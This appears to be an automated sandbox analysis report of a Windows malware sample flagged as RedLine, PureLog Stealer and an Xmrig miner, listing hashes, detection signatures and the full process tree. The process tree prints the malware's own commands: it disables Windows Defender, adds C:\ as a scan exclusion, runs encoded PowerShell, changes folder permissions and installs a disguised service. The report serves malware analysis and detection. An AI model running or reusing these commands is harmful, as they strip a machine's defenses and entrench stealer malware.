Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1466434
MD5:	fdb35993f43fb0c0b3fadb2aef70b0be
SHA1:	0881f937004e97e9aa3ee8688dccbd48ba2303ab
SHA256:	4b5b5a34e4b2dd842b5a097a93a47385316f68907fe5b512b494c6a608e446ee
Tags:	exe
Infos:

Detection

PureLog Stealer, RedLine, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list

C2 URLs / IPs found in malware configuration

Disables Windows Defender (via service or powershell)

Drops PE files to the startup folder

Encrypted powershell cmdline option found

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Potentially malicious time measurement code found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses net.exe to stop services

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FDB35993F43FB0C0B3FADB2AEF70B0BE)

123.exe (PID: 2072 cmdline: "C:\users\123.exe" MD5: 4A24AAD5274BE7E1FD5E3EF95EA20F8F)

cmd.exe (PID: 5384 cmdline: C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Wmiic.exe (PID: 4708 cmdline: "C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe MD5: A18BFE142F059FDB5C041A310339D4FD)

conhost.exe (PID: 5628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4476 cmdline: TIMEOUT /T 1 /NOBREAK MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

Wmiic.exe (PID: 4440 cmdline: "C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS MD5: A18BFE142F059FDB5C041A310339D4FD)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2508 cmdline: TIMEOUT /T 2 /NOBREAK MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

net.exe (PID: 6204 cmdline: net start MicrosoftESS MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 572 cmdline: C:\Windows\system32\net1 start MicrosoftESS MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

mig.exe (PID: 6220 cmdline: "C:\users\mig.exe" MD5: A2059CA7715450DC171F7608325744DA)

powershell.exe (PID: 5712 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5260 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\ MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4720 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6856 cmdline: "C:\Windows\system32\net.exe" stop wmservice MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7072 cmdline: C:\Windows\system32\net1 stop wmservice MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

taskkill.exe (PID: 2804 cmdline: "C:\Windows\system32\taskkill.exe" /f /im migrate.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

taskkill.exe (PID: 4852 cmdline: "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

taskkill.exe (PID: 6308 cmdline: "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

taskkill.exe (PID: 1472 cmdline: "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

taskkill.exe (PID: 5020 cmdline: "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

taskkill.exe (PID: 6172 cmdline: "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 5372 cmdline: "C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

takeown.exe (PID: 5384 cmdline: takeown /F c:\windows\tasks MD5: A9AB2877AE82A53F5A387B045BF326A4)

schtasks.exe (PID: 6056 cmdline: "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 5588 cmdline: "C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

takeown.exe (PID: 5672 cmdline: takeown /F C:\ProgramData\migrate.exe MD5: A9AB2877AE82A53F5A387B045BF326A4)

cmd.exe (PID: 5612 cmdline: "C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 1536 cmdline: C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3180 cmdline: C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 2928 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

tasklist.exe (PID: 6304 cmdline: tasklist /FI "IMAGENAME eq Superfetch.exe" MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 1480 cmdline: find /I /N "Superfetch.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

takeown.exe (PID: 6492 cmdline: takeown /f c:\windows\tasks MD5: A9AB2877AE82A53F5A387B045BF326A4)

timeout.exe (PID: 1708 cmdline: TIMEOUT /T 3 /NOBREAK MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

powershell.exe (PID: 6132 cmdline: powershell Set-MpPreference -DisableRealtimeMonitoring $True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 892 cmdline: powershell Set-MpPreference -ExclusionPath c:\ MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

icacls.exe (PID: 5428 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 5760 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 2812 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 7044 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 3836 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 6324 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

icacls.exe (PID: 6120 cmdline: icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)" MD5: 2E49585E4E08565F52090B144062F97E)

Wmiic.exe (PID: 3836 cmdline: C:\programdata\MicrosoftSystem\Wmiic.exe MD5: A18BFE142F059FDB5C041A310339D4FD)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchosl.exe (PID: 6512 cmdline: "svchosl.exe" MD5: 9F478308A636906DB8C36E77CE68B4C2)

conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchosl.exe (PID: 3144 cmdline: "svchosl.exe" MD5: 9F478308A636906DB8C36E77CE68B4C2)

cmd.exe (PID: 5560 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1576 cmdline: taskkill /f /im rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1984 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6056 cmdline: taskkill /f /im rdp_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5612 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4824 cmdline: taskkill /f /im rdp_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6096 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2700 cmdline: taskkill /f /im wrm_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5532 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4476 cmdline: taskkill /f /im wrm_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1308 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4208 cmdline: taskkill /f /im wrm_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5908 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6980 cmdline: taskkill /f /im ape_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4440 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 572 cmdline: taskkill /f /im full_rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3920 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6448 cmdline: taskkill /f /im rdp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6456 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5388 cmdline: taskkill /f /im wrm_modul_v4.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5672 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4320 cmdline: taskkill /f /im nl.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3116 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6444 cmdline: taskkill /f /im WerFault.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6696 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3648 cmdline: taskkill /f /im rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4852 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1200 cmdline: taskkill /f /im rdp_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2924 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2848 cmdline: taskkill /f /im rdp_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1576 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3652 cmdline: taskkill /f /im wrm_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5540 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5384 cmdline: taskkill /f /im wrm_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6976 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5560 cmdline: taskkill /f /im wrm_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5628 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5284 cmdline: taskkill /f /im ape_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6772 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5416 cmdline: taskkill /f /im full_rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5452 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3528 cmdline: taskkill /f /im rdp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3148 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1656 cmdline: taskkill /f /im wrm_modul_v4.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3192 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3772 cmdline: taskkill /f /im nl.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6516 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3868 cmdline: taskkill /f /im WerFault.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5908 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6980 cmdline: taskkill /f /im rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4440 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3304 cmdline: taskkill /f /im rdp_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6324 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5004 cmdline: taskkill /f /im rdp_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4536 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4456 cmdline: taskkill /f /im wrm_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4676 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6456 cmdline: taskkill /f /im wrm_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5612 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5672 cmdline: taskkill /f /im wrm_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1984 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5952 cmdline: taskkill /f /im ape_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5528 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5568 cmdline: taskkill /f /im full_rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3032 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3040 cmdline: taskkill /f /im rdp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1656 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3148 cmdline: taskkill /f /im wrm_modul_v4.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3772 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3192 cmdline: taskkill /f /im nl.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3868 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6516 cmdline: taskkill /f /im WerFault.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1984 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5420 cmdline: taskkill /f /im rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5528 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1080 cmdline: taskkill /f /im rdp_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5856 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 748 cmdline: taskkill /f /im rdp_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2568 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 828 cmdline: taskkill /f /im wrm_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3192 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3772 cmdline: taskkill /f /im wrm_modul_v2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 652 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7040 cmdline: taskkill /f /im wrm_modul_v3.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5308 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3376 cmdline: taskkill /f /im ape_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 348 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6480 cmdline: taskkill /f /im full_rdp_modul_v1.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2884 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4760 cmdline: taskkill /f /im rdp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6844 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3572 cmdline: taskkill /f /im wrm_modul_v4.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 712 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2676 cmdline: taskkill /f /im nl.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1272 cmdline: C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1340 cmdline: taskkill /f /im WerFault.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 5540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

